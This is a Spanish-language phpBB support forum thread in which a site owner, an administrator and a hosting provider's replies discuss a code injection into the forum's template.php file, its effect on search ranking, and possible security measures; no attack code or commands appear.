
Rainwod, ¿nos cuentas alguna de esas maneras de inyectar código?

Gracias a todos,

Juanma.

URL: http://www.iberismo.org
Versión phpBB: 3.0.11 > 3.0.12 > 3.0.14 > 3.3.8 > 3.3.9
EXT's Instaladas (6):
-- Portal BLOCKGETS
-- phpBB mChat Versión 2.1.4
-- Adv. BBCode Box 3 3.0.12
-- Activity Stats MOD 1.0.0
-- Galería phpBB
-- cBB Blog 1.0.1
Plantilla(s) usada(s): khaki_black (prosilver)
Servidor: linux (pago)
Actualización desde otra versión: no
Conversión desde otro sistema de foros: no


Juan Manuel SUBM
Asiduo/a
Mensajes: 125
Registrado: 08 Ene 2012, 10:25

Re: Error sorpresivo (includes/template.php)

#13

Mensaje por Juan Manuel SUBM »

Les he apretado un poco más y tras revisar los ficheros log del hosting, me comentan que la inyección de código se ha producido a través de algún bug/vulnerabilidad del foro phpBB.

¿Qué pensáis vosotros?

URL: http://www.iberismo.org
Versión phpBB: 3.0.11 > 3.0.12 > 3.0.14 > 3.3.8 > 3.3.9
EXT's Instaladas (6):
-- Portal BLOCKGETS
-- phpBB mChat Versión 2.1.4
-- Adv. BBCode Box 3 3.0.12
-- Activity Stats MOD 1.0.0
-- Galería phpBB
-- cBB Blog 1.0.1
Plantilla(s) usada(s): khaki_black (prosilver)
Servidor: linux (pago)
Actualización desde otra versión: no
Conversión desde otro sistema de foros: no


Avatar de Usuario
ThE KuKa
Administrador
Mensajes: 10432
Registrado: 04 Ene 2004, 19:27
Género:
Edad: 50

Re: Error sorpresivo (includes/template.php)

#14

Mensaje por ThE KuKa »

jajajajajajaja perdona, pero se me escapa la risa.

¿Tu le has comentado algo del archivo /includes/template.php? si no les has comentado nada, contesta a su email o ticket diciendo esto por favor:
Yo tenia la sospecha de que podia ser de phpBB pero no estaba al 100% seguro, es mas, creo que el error o vulnerabilidad podía ser debida al archivo /foro/includes/functions_user.php
¿Pueden saber si es ese archivo el que sufrió el "ataque"?
Si, lo se, es una trampa, pero una trampa piadosa. Es como decir, esta bien, hemos realizado un esfuerzo extra, y hemos averiguado que es cosa de phpBB, pero NUESTRA NUNCA, somo muy buen hosting. :x

Prueba por favor, y según que te respondan, al menos sabras si son sinceros al 100% y si es cierto que lo han mirado al 100% creo que es su trabajo, para eso pagas.

📌 Raul [ThE KuKa] en phpBB 📌
✅ Jr. Extension Validator - Jr. Styles Validator - Style Customisations - Translator - International Support Team
✅

Si te gustan mis estilos, traducciones, etc. y quieres mostrar algo de aprecio, no dudes en hacer una donación Imagen
:flag_es: phpBB España - En línea desde 2003 :heart:



Juan Manuel SUBM
Asiduo/a
Mensajes: 125
Registrado: 08 Ene 2012, 10:25

Re: Error sorpresivo (includes/template.php)

#15

Mensaje por Juan Manuel SUBM »

Me temo que ya es tarde para esa filigrana, ThE KuKa, pues sí les hable del archivo en cuestión. Y me dicen que han procedido a estudiar los archivos logs de nuestro hosting sin encontrar ningún acceso que haga referencia al archivo "template.php".

Debí haberles adjuntado el código con el que inicié este tema, ¿verdad?
En fin; Respuestas-cliché para un clientecillo de tres al cuarto.

En estos momentos lo que más me interesa es saber qué medidas hemos de tomar para conseguir un sitio realmente seguro. Parece increíble pero todo esto ha tenido consecuencias, y es que a raíz del percance, Google nos ha devaluado bastante en el criterio de búsqueda genérica. Antes aparecíamos de los primeros, y ahora hemos pasado a la 2ª página.

Supongo que acabaremos contratando SiteLock, una herramienta de seguridad del paquete hosting ...

Saludos,
Juanma.

URL: http://www.iberismo.org
Versión phpBB: 3.0.11 > 3.0.12 > 3.0.14 > 3.3.8 > 3.3.9
EXT's Instaladas (6):
-- Portal BLOCKGETS
-- phpBB mChat Versión 2.1.4
-- Adv. BBCode Box 3 3.0.12
-- Activity Stats MOD 1.0.0
-- Galería phpBB
-- cBB Blog 1.0.1
Plantilla(s) usada(s): khaki_black (prosilver)
Servidor: linux (pago)
Actualización desde otra versión: no
Conversión desde otro sistema de foros: no


Cerrado

Volver a “Foros de Soporte 3.0.x”